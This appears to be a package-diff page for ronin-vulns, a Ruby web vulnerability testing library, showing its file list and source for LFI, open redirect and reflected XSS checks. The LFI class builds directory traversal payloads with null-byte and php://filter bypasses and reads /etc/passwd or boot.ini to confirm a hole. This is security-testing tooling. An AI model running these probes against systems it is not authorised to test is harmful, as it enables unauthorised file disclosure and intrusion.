ronin-vulns 0.1.0.beta1

Sign up to get free protection for your applications and to get access to all the features.
Files changed (64) hide show
  1. checksums.yaml +7 -0
  2. data/.document +5 -0
  3. data/.github/workflows/ruby.yml +31 -0
  4. data/.gitignore +13 -0
  5. data/.rspec +1 -0
  6. data/.ruby-version +1 -0
  7. data/.yardopts +1 -0
  8. data/COPYING.txt +165 -0
  9. data/ChangeLog.md +22 -0
  10. data/Gemfile +34 -0
  11. data/README.md +328 -0
  12. data/Rakefile +34 -0
  13. data/bin/ronin-vulns +19 -0
  14. data/data/rfi_test.asp +21 -0
  15. data/data/rfi_test.aspx +25 -0
  16. data/data/rfi_test.cfm +27 -0
  17. data/data/rfi_test.jsp +19 -0
  18. data/data/rfi_test.php +24 -0
  19. data/data/rfi_test.pl +25 -0
  20. data/gemspec.yml +41 -0
  21. data/lib/ronin/vulns/cli/command.rb +39 -0
  22. data/lib/ronin/vulns/cli/commands/lfi.rb +145 -0
  23. data/lib/ronin/vulns/cli/commands/open_redirect.rb +119 -0
  24. data/lib/ronin/vulns/cli/commands/reflected_xss.rb +99 -0
  25. data/lib/ronin/vulns/cli/commands/rfi.rb +156 -0
  26. data/lib/ronin/vulns/cli/commands/scan.rb +316 -0
  27. data/lib/ronin/vulns/cli/commands/sqli.rb +133 -0
  28. data/lib/ronin/vulns/cli/commands/ssti.rb +126 -0
  29. data/lib/ronin/vulns/cli/logging.rb +78 -0
  30. data/lib/ronin/vulns/cli/web_vuln_command.rb +347 -0
  31. data/lib/ronin/vulns/cli.rb +45 -0
  32. data/lib/ronin/vulns/lfi/test_file.rb +91 -0
  33. data/lib/ronin/vulns/lfi.rb +266 -0
  34. data/lib/ronin/vulns/open_redirect.rb +118 -0
  35. data/lib/ronin/vulns/reflected_xss/context.rb +224 -0
  36. data/lib/ronin/vulns/reflected_xss/test_string.rb +149 -0
  37. data/lib/ronin/vulns/reflected_xss.rb +184 -0
  38. data/lib/ronin/vulns/rfi.rb +224 -0
  39. data/lib/ronin/vulns/root.rb +28 -0
  40. data/lib/ronin/vulns/sqli/error_pattern.rb +89 -0
  41. data/lib/ronin/vulns/sqli.rb +397 -0
  42. data/lib/ronin/vulns/ssti/test_expression.rb +104 -0
  43. data/lib/ronin/vulns/ssti.rb +203 -0
  44. data/lib/ronin/vulns/url_scanner.rb +218 -0
  45. data/lib/ronin/vulns/version.rb +26 -0
  46. data/lib/ronin/vulns/vuln.rb +49 -0
  47. data/lib/ronin/vulns/web_vuln/http_request.rb +223 -0
  48. data/lib/ronin/vulns/web_vuln.rb +774 -0
  49. data/man/ronin-vulns-lfi.1 +107 -0
  50. data/man/ronin-vulns-lfi.1.md +80 -0
  51. data/man/ronin-vulns-open-redirect.1 +98 -0
  52. data/man/ronin-vulns-open-redirect.1.md +73 -0
  53. data/man/ronin-vulns-reflected-xss.1 +95 -0
  54. data/man/ronin-vulns-reflected-xss.1.md +71 -0
  55. data/man/ronin-vulns-rfi.1 +107 -0
  56. data/man/ronin-vulns-rfi.1.md +80 -0
  57. data/man/ronin-vulns-scan.1 +138 -0
  58. data/man/ronin-vulns-scan.1.md +103 -0
  59. data/man/ronin-vulns-sqli.1 +107 -0
  60. data/man/ronin-vulns-sqli.1.md +80 -0
  61. data/man/ronin-vulns-ssti.1 +99 -0
  62. data/man/ronin-vulns-ssti.1.md +74 -0
  63. data/ronin-vulns.gemspec +60 -0
  64. metadata +161 -0
@@ -0,0 +1,266 @@
1
+ # frozen_string_literal: true
2
+ #
3
+ # ronin-vulns - A Ruby library for blind vulnerability testing.
4
+ #
5
+ # Copyright (c) 2022 Hal Brodigan (postmodern.mod3 at gmail.com)
6
+ #
7
+ # ronin-vulns is free software: you can redistribute it and/or modify
8
+ # it under the terms of the GNU Lesser General Public License as published
9
+ # by the Free Software Foundation, either version 3 of the License, or
10
+ # (at your option) any later version.
11
+ #
12
+ # ronin-vulns is distributed in the hope that it will be useful,
13
+ # but WITHOUT ANY WARRANTY; without even the implied warranty of
14
+ # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
15
+ # GNU Lesser General Public License for more details.
16
+ #
17
+ # You should have received a copy of the GNU Lesser General Public License
18
+ # along with ronin-vulns. If not, see <https://www.gnu.org/licenses/>.
19
+ #
20
+
21
+ require 'ronin/vulns/web_vuln'
22
+ require 'ronin/vulns/lfi/test_file'
23
+
24
+ require 'ronin/support/text/patterns'
25
+ require 'ronin/support/crypto'
26
+ require 'ronin/support/compression'
27
+ require 'uri/query_params'
28
+ require 'base64'
29
+
30
+ module Ronin
31
+ module Vulns
32
+ #
33
+ # Represents a Local File Inclusion (LFI) vulnerability.
34
+ #
35
+ # ## Features
36
+ #
37
+ # * Supports UNIX and Windows paths.
38
+ # * Supports `%00` null terminator trick (fixed in PHP 5.3).
39
+ # * Supports Base64, ROT13, and Zlib `php://filter/`s.
40
+ #
41
+ class LFI < WebVuln
42
+
43
+ include Ronin::Support
44
+
45
+ # The test file for UNIX systems.
46
+ UNIX_TEST_FILE = TestFile.new('/etc/passwd', %r{(?:[a-z][a-z0-9_-]*:x:\d+:\d+:[^:]*:(?:/[A-Za-z0-9_-]*)+:(?:/[A-Za-z0-9_-]*)+\n)+})
47
+
48
+ # The test file for Windows systems.
49
+ WINDOWS_TEST_FILE = TestFile.new('\\boot.ini', /\[boot loader\](?:\r?\n(?:[^\[\r\n].*)?)*\r?\n(?:\[operating system\](?:\r?\n(?:[^\[\r\n].*)?)*\r?\n)?/m)
50
+
51
+ # The default directory traversal depth.
52
+ DEFAULT_DEPTH = 6
53
+
54
+ # Targeted Operating System (OS)
55
+ #
56
+ # @return [:unix, :windows, nil]
57
+ attr_reader :os
58
+
59
+ # Optional filter bypass technique to use.
60
+ #
61
+ # @return [:null_byte, :base64, :rot13, :zlib, nil]
62
+ attr_reader :filter_bypass
63
+
64
+ # The number of directories to traverse up
65
+ #
66
+ # @return [Integer]
67
+ attr_reader :depth
68
+
69
+ # The directory separator character.
70
+ #
71
+ # @return [String]
72
+ attr_reader :separator
73
+
74
+ # The escape path to add to every LFI path
75
+ #
76
+ # @return [String]
77
+ attr_reader :escape_path
78
+
79
+ # The common file to test with.
80
+ #
81
+ # @return [TestFile]
82
+ attr_reader :test_file
83
+
84
+ #
85
+ # Creates a new LFI object.
86
+ #
87
+ # @param [String, URI::HTTP] url
88
+ # The URL to exploit.
89
+ #
90
+ # @param [:unix, :windows, nil] os
91
+ # Operating System to specifically target.
92
+ #
93
+ # @param [Integer] depth
94
+ # Number of directories to escape up.
95
+ #
96
+ # @param [:null_byte, :double_escape, :base64, :rot13, :zlib, nil] filter_bypass
97
+ # Specifies which filter bypass technique to use.
98
+ #
99
+ # * `:null_byte - appends a `%00` null byte to the escaped path.
100
+ # **Note:* this technique only works on PHP < 5.3.
101
+ # * `:double_escape` - Double escapes the {#escape_path}
102
+ # (ex: `....//....//`).
103
+ # * `:base64` - Base64 encodes the included local file.
104
+ # * `:rot13` - ROT13 encodes the included local file.
105
+ # * `:zlib` - Zlib compresses and Base64 encodes the included local
106
+ # file.
107
+ #
108
+ # @param [Hash{Symbol => Object}] kwargs
109
+ # Additional keyword arguments for {WebVuln#initialize}.
110
+ #
111
+ def initialize(url, os: :unix,
112
+ depth: DEFAULT_DEPTH,
113
+ filter_bypass: nil,
114
+ **kwargs)
115
+ super(url,**kwargs)
116
+
117
+ @os = os
118
+
119
+ case @os
120
+ when :unix
121
+ @separator = '/'
122
+ @test_file = UNIX_TEST_FILE
123
+ when :windows
124
+ @separator = '\\'
125
+ @test_file = WINDOWS_TEST_FILE
126
+ else
127
+ raise(ArgumentError,"unknown os keyword value (#{@os.inspect}) must be either :unix or :windows")
128
+ end
129
+
130
+ case filter_bypass
131
+ when :null_byte, :double_escape, :base64, :rot13, :zlib, nil
132
+ @filter_bypass = filter_bypass
133
+ else
134
+ raise(ArgumentError,"unknown filter_bypass keyword value (#{filter_bypass.inspect}) must be :null_byte, :double_escape, :base64, :rot13, :zlib, or nil")
135
+ end
136
+
137
+ @depth = depth
138
+ @escape_path = ("..#{@separator}" * @depth)
139
+
140
+ apply_filter_bypasses
141
+ end
142
+
143
+ private
144
+
145
+ #
146
+ # Pre-applies additional filter-bypass rules to {#escape_path}.
147
+ #
148
+ def apply_filter_bypasses
149
+ if @filter_bypass == :double_escape
150
+ # HACK: String#gsub interpretes "\\" as a special character in the
151
+ # replace string, so we must use String#gsub with a block.
152
+ @escape_path.gsub!("..#{@separator}") do
153
+ "....#{@separator}#{@separator}"
154
+ end
155
+ end
156
+ end
157
+
158
+ public
159
+
160
+ #
161
+ # Escapes the given path.
162
+ #
163
+ # @param [String] path
164
+ # The given path to escape.
165
+ #
166
+ # @return [String]
167
+ # The escaped path.
168
+ #
169
+ # @note
170
+ # Relative paths and absolute Windows paths to other drives will not
171
+ # be escaped.
172
+ #
173
+ def escape(path)
174
+ if @os == :windows && path.start_with?('C:\\')
175
+ # escape absolute Windows paths to the C: drive
176
+ "#{@escape_path}#{path[3..]}"
177
+ elsif @os == :windows && path =~ /\A[A-Z]:/
178
+ # pass through absolute Windows paths to other drives
179
+ path
180
+ elsif path.start_with?(@separator)
181
+ # escape absolute paths
182
+ "#{@escape_path}#{path[1..]}"
183
+ else
184
+ # pass through relative paths
185
+ path
186
+ end
187
+ end
188
+
189
+ #
190
+ # Builds a `../../..` escaped path for the given file path.
191
+ #
192
+ # @param [String] path
193
+ # The path to escape.
194
+ #
195
+ # @return [String]
196
+ # The `../../../` escaped path.
197
+ #
198
+ # @note
199
+ # * If the given path begins with `php:`, then no `../../../` prefix
200
+ # will be added.
201
+ # * If initialized with `filter_bypass: :null_byte`, then a `\0`
202
+ # character will be appended to the path.
203
+ #
204
+ def encode_payload(path)
205
+ case @filter_bypass
206
+ when :base64
207
+ "php://filter/convert.base64-encode/resource=#{path}"
208
+ when :rot13
209
+ "php://filter/read=string.rot13/resource=#{path}"
210
+ when :zlib
211
+ "php://filter/zlib.deflate/convert.base64-encode/resource=#{path}"
212
+ when :null_byte
213
+ "#{escape(path)}\0"
214
+ else
215
+ escape(path)
216
+ end
217
+ end
218
+
219
+ #
220
+ # Determines whether the URL is vulnerable to Local File Inclusion (LFI).
221
+ #
222
+ # @return [Boolean]
223
+ #
224
+ def vulnerable?
225
+ response = exploit(@test_file.path)
226
+ body = response.body
227
+
228
+ case @filter_bypass
229
+ when :base64
230
+ body.scan(Text::Patterns::BASE64).any? do |string|
231
+ Base64.decode64(string) =~ @test_file
232
+ end
233
+ when :rot13
234
+ Crypto.rot(body,-13) =~ @test_file
235
+ when :zlib
236
+ body.scan(Text::Patterns::BASE64).any? do |string|
237
+ begin
238
+ Compression.zlib_inflate(Base64.decode64(string)) =~ @test_file
239
+ rescue Zlib::DataError
240
+ end
241
+ end
242
+ else
243
+ body =~ @test_file
244
+ end
245
+ end
246
+
247
+ #
248
+ # Returns the type or kind of vulnerability.
249
+ #
250
+ # @return [Symbol]
251
+ #
252
+ # @note
253
+ # This is used internally to map an vulnerability class to a printable
254
+ # type.
255
+ #
256
+ # @api private
257
+ #
258
+ # @abstract
259
+ #
260
+ def self.vuln_type
261
+ :lfi
262
+ end
263
+
264
+ end
265
+ end
266
+ end
@@ -0,0 +1,118 @@
1
+ # frozen_string_literal: true
2
+ #
3
+ # ronin-vulns - A Ruby library for blind vulnerability testing.
4
+ #
5
+ # Copyright (c) 2022 Hal Brodigan (postmodern.mod3 at gmail.com)
6
+ #
7
+ # ronin-vulns is free software: you can redistribute it and/or modify
8
+ # it under the terms of the GNU Lesser General Public License as published
9
+ # by the Free Software Foundation, either version 3 of the License, or
10
+ # (at your option) any later version.
11
+ #
12
+ # ronin-vulns is distributed in the hope that it will be useful,
13
+ # but WITHOUT ANY WARRANTY; without even the implied warranty of
14
+ # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
15
+ # GNU Lesser General Public License for more details.
16
+ #
17
+ # You should have received a copy of the GNU Lesser General Public License
18
+ # along with ronin-vulns. If not, see <https://www.gnu.org/licenses/>.
19
+ #
20
+
21
+ require 'ronin/vulns/web_vuln'
22
+
23
+ require 'chars'
24
+ require 'cgi'
25
+
26
+ module Ronin
27
+ module Vulns
28
+ #
29
+ # Represents an Open Redirect vulnerability.
30
+ #
31
+ # ## Features
32
+ #
33
+ # * Checks 301, 302, 303, 307, and 308 HTTP redirects.
34
+ # * Checks `meta` refresh redirects.
35
+ # * Includes random alpha-numeric data in the test values.
36
+ #
37
+ class OpenRedirect < WebVuln
38
+
39
+ # The desired redirect URL to use in the test.
40
+ #
41
+ # @return [String]
42
+ attr_reader :test_url
43
+
44
+ #
45
+ # Initializes the Open Redirect vulnerability.
46
+ #
47
+ # @param [String, URI::HTTP] url
48
+ # The URL to exploit.
49
+ #
50
+ # @param [String] test_url
51
+ # The desired redirect URL to test the URL with.
52
+ #
53
+ def initialize(url, test_url: self.class.random_test_url, **kwargs)
54
+ super(url,**kwargs)
55
+
56
+ @test_url = test_url
57
+ end
58
+
59
+ #
60
+ # Generates a random redirect URL to use in tests.
61
+ #
62
+ # @return [String]
63
+ # A random URL to https://ronin-rb.dev/vulns/open_redirect.html.
64
+ #
65
+ # @api private
66
+ #
67
+ def self.random_test_url
68
+ "https://ronin-rb.dev/vulns/open_redirect.html?id=#{Chars::ALPHA_NUMERIC.random_string(5)}"
69
+ end
70
+
71
+ #
72
+ # Tests whther the URL has a vulnerable Open Redirect.
73
+ #
74
+ # @return [Boolean]
75
+ #
76
+ def vulnerable?
77
+ response = exploit(@test_url)
78
+
79
+ case response.code
80
+ when '301', '302', '303', '307', '308'
81
+ if (locations = response.get_fields('Location'))
82
+ escaped_test_url = Regexp.escape(@test_url)
83
+ regexp = %r{\A#{escaped_test_url}(?:[\?&].+)?\z}
84
+
85
+ locations.last =~ regexp
86
+ end
87
+ else
88
+ content_type = response.content_type
89
+
90
+ if content_type && content_type.include?('text/html')
91
+ escaped_test_url = Regexp.escape(CGI.escapeHTML(@test_url))
92
+ regexp = %r{<meta\s+http-equiv\s*=\s*(?:"refresh"|'refresh'|refresh)\s+content\s*=\s*(?:"\s*\d+\s*;\s*url\s*=\s*'\s*#{escaped_test_url}\s*'\s*"|'\s*\d+\s*;\s*url\s*=\s*"\s*#{escaped_test_url}\s*"\s*'|\s*\d+;url=(?:"#{escaped_test_url}"|'#{escaped_test_url}'))\s*(?:/\s*)?>}i
93
+
94
+ response.body =~ regexp
95
+ end
96
+ end
97
+ end
98
+
99
+ #
100
+ # Returns the type or kind of vulnerability.
101
+ #
102
+ # @return [Symbol]
103
+ #
104
+ # @note
105
+ # This is used internally to map an vulnerability class to a printable
106
+ # type.
107
+ #
108
+ # @api private
109
+ #
110
+ # @abstract
111
+ #
112
+ def self.vuln_type
113
+ :open_redirect
114
+ end
115
+
116
+ end
117
+ end
118
+ end
@@ -0,0 +1,224 @@
1
+ # frozen_string_literal: true
2
+ # frozen_string_literal: true
3
+ #
4
+ # ronin-vulns - A Ruby library for blind vulnerability testing.
5
+ #
6
+ # Copyright (c) 2022 Hal Brodigan (postmodern.mod3 at gmail.com)
7
+ #
8
+ # ronin-vulns is free software: you can redistribute it and/or modify
9
+ # it under the terms of the GNU Lesser General Public License as published
10
+ # by the Free Software Foundation, either version 3 of the License, or
11
+ # (at your option) any later version.
12
+ #
13
+ # ronin-vulns is distributed in the hope that it will be useful,
14
+ # but WITHOUT ANY WARRANTY; without even the implied warranty of
15
+ # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
16
+ # GNU Lesser General Public License for more details.
17
+ #
18
+ # You should have received a copy of the GNU Lesser General Public License
19
+ # along with ronin-vulns. If not, see <https://www.gnu.org/licenses/>.
20
+ #
21
+
22
+ require 'ronin/vulns/web_vuln'
23
+
24
+ module Ronin
25
+ module Vulns
26
+ class ReflectedXSS < WebVuln
27
+ #
28
+ # Represents information about the context which the XSS occurs within.
29
+ #
30
+ class Context
31
+
32
+ # Where in the HTML the XSS occurs.
33
+ #
34
+ # @return [:double_quoted_attr_value, :single_quoted_attr_value, :unquoted_attr_value, :attr_name, :attr_list, :tag_name, :tag_body]
35
+ # The context which the XSS occurs in.
36
+ # * `:tag_body` occurred within a tag's body (ex: `<tag>XSS...</tag>`)
37
+ # * `:double_quoted_attr_value` - occurred in a double quoted
38
+ # attribute value (ex: `<tag name="XSS">...</tag>`)
39
+ # * `:single_quoted_attr_value` - occurred in a single quoted
40
+ # attribute value (ex: `<tag name='XSS'>...</tag>`)
41
+ # * `:unquoted_attr_value` - occurred in an unquoted attribute value
42
+ # (ex: `<tag name=XSS>...</tag>`)
43
+ # * `:attr_name` - occurred in an attribute name
44
+ # (ex: `<tag nameXSS ...>`)
45
+ # * `:attr_list` - occurred in the attribute list
46
+ # (ex: `<tag XSS>...</tag>`)
47
+ # * `:tag_name` - occurred in the tag name (ex: `<tagXSS>...</tag>`)
48
+ #
49
+ # @api public
50
+ attr_reader :location
51
+
52
+ # The name of the parent tag which the XSS occurs in.
53
+ #
54
+ # @return [String]
55
+ #
56
+ # @api public
57
+ attr_reader :tag
58
+
59
+ # The attribute name that the XSS occurs in.
60
+ #
61
+ # @return [String, nil]
62
+ #
63
+ # @api public
64
+ attr_reader :attr
65
+
66
+ #
67
+ # Initializes the context.
68
+ #
69
+ # @param [:double_quoted_attr_value, :single_quoted_attr_value, :unquoted_attr_value, :attr_name, :attr_list, :tag_name, :tag_body] location
70
+ #
71
+ # @param [String] tag
72
+ #
73
+ # @param [String, nil] attr
74
+ #
75
+ # @api private
76
+ #
77
+ def initialize(location, tag: nil, attr: nil)
78
+ @location = location
79
+
80
+ @tag = tag
81
+ @attr = attr
82
+ end
83
+
84
+ # HTML identifier regexp
85
+ #
86
+ # @api private
87
+ IDENTIFIER = /[A-Za-z0-9_-]+/
88
+
89
+ # HTML attribute name regexp.
90
+ #
91
+ # @api private
92
+ ATTR_NAME = IDENTIFIER
93
+
94
+ # HTML attribute regexp.
95
+ #
96
+ # @api private
97
+ ATTR = /#{ATTR_NAME}(?:\s*=\s*"[^"]+"|\s*=\s*'[^']+'|=[^"'\s]+)?/
98
+
99
+ # HTML attribute list regexp.
100
+ #
101
+ # @api private
102
+ ATTR_LIST = /(?:\s+#{ATTR})*/
103
+
104
+ # HTML tag name regexp.
105
+ #
106
+ # @api private
107
+ TAG_NAME = IDENTIFIER
108
+
109
+ # Regexp matching when an XSS occurs within a tag's inner HTML.
110
+ #
111
+ # @api private
112
+ IN_TAG_BODY = %r{<(#{TAG_NAME})#{ATTR_LIST}\s*(?:>|/>)[^<>]*\z}
113
+
114
+ # Regexp matching when an XSS occurs within a double-quoted attribute
115
+ # value.
116
+ #
117
+ # @api private
118
+ IN_DOUBLE_QUOTED_ATTR_VALUE = %r{<(#{TAG_NAME})#{ATTR_LIST}\s+(#{ATTR_NAME})\s*=\s*"[^"]+\z}
119
+
120
+ # Regexp matching when an XSS occurs within a single-quoted attribute
121
+ # value.
122
+ #
123
+ # @api private
124
+ IN_SINGLE_QUOTED_ATTR_VALUE = %r{<(#{TAG_NAME})#{ATTR_LIST}\s+(#{ATTR_NAME})\s*=\s*'[^']+\z}
125
+
126
+ # Regexp matching when an XSS occurs within an unquoted attribute value.
127
+ #
128
+ # @api private
129
+ IN_UNQUOTED_ATTR_VALUE = %r{<(#{TAG_NAME})#{ATTR_LIST}\s+(#{ATTR_NAME})=[^"'\s]+\z}
130
+
131
+ # Regexp matching when an XSS occurs within an attribute's name.
132
+ #
133
+ # @api private
134
+ IN_ATTR_NAME = %r{<(#{TAG_NAME})#{ATTR_LIST}\s+(#{ATTR_NAME})\z}
135
+
136
+ # Regexp matching when an XSS occurs within a tag's attribute list.
137
+ #
138
+ # @api private
139
+ IN_ATTR_LIST = %r{<(#{TAG_NAME})#{ATTR_LIST}\s+\z}
140
+
141
+ # Regexp matching when an XSS occurs within a tag's name.
142
+ #
143
+ # @api private
144
+ IN_TAG_NAME = %r{<(#{TAG_NAME})\z}
145
+
146
+ #
147
+ # Determine the context of the XSS by checking the characters that come
148
+ # before the given index.
149
+ #
150
+ # @param [String] body
151
+ # The HTML response body to inspect.
152
+ #
153
+ # @param [Integer] index
154
+ # The index which the XSS occurs at.
155
+ #
156
+ # @return [Context]
157
+ # The context which the XSS occurs in.
158
+ #
159
+ # @api private
160
+ #
161
+ def self.identify(body,index)
162
+ prefix = body[0,index]
163
+
164
+ if (match = prefix.match(IN_TAG_BODY))
165
+ new(:tag_body, tag: match[1])
166
+ elsif (match = prefix.match(IN_DOUBLE_QUOTED_ATTR_VALUE))
167
+ new(:double_quoted_attr_value, tag: match[1], attr: match[2])
168
+ elsif (match = prefix.match(IN_SINGLE_QUOTED_ATTR_VALUE))
169
+ new(:single_quoted_attr_value, tag: match[1], attr: match[2])
170
+ elsif (match = prefix.match(IN_UNQUOTED_ATTR_VALUE))
171
+ new(:unquoted_attr_value, tag: match[1], attr: match[2])
172
+ elsif (match = prefix.match(IN_ATTR_NAME))
173
+ new(:attr_name, tag: match[1], attr: match[2])
174
+ elsif (match = prefix.match(IN_ATTR_LIST))
175
+ new(:attr_list, tag: match[1])
176
+ elsif (match = prefix.match(IN_TAG_NAME))
177
+ new(:tag_name, tag: match[1])
178
+ end
179
+ end
180
+
181
+ # The minimum set of required characters needed for an XSS.
182
+ #
183
+ # @api private
184
+ MINIMAL_REQUIRED_CHARS = Set['>', ' ', '/', '<']
185
+
186
+ # The mapping of contexts and their required characters.
187
+ #
188
+ # @api private
189
+ REQUIRED_CHARS = {
190
+ double_quoted_attr_value: MINIMAL_REQUIRED_CHARS + ['"'],
191
+ single_quoted_attr_value: MINIMAL_REQUIRED_CHARS + ["'"],
192
+ unquoted_attr_value: MINIMAL_REQUIRED_CHARS,
193
+
194
+ attr_name: MINIMAL_REQUIRED_CHARS,
195
+ attr_list: MINIMAL_REQUIRED_CHARS,
196
+ tag_name: MINIMAL_REQUIRED_CHARS,
197
+ tag_body: MINIMAL_REQUIRED_CHARS
198
+ }
199
+
200
+ #
201
+ # Determines if the XSS is viable, given the context and the allowed
202
+ # characters.
203
+ #
204
+ # @param [Set<String>] allowed_chars
205
+ # The allowed characters.
206
+ #
207
+ # @return [Boolean]
208
+ # Specifies whether enough characters are allowed to perform an XSS in
209
+ # the given context.
210
+ #
211
+ # @api private
212
+ #
213
+ def viable?(allowed_chars)
214
+ required_chars = REQUIRED_CHARS.fetch(@location) do
215
+ raise(NotImplementedError,"cannot determine viability for unknown XSS location type: #{@location.inspect}")
216
+ end
217
+
218
+ allowed_chars.superset?(required_chars)
219
+ end
220
+
221
+ end
222
+ end
223
+ end
224
+ end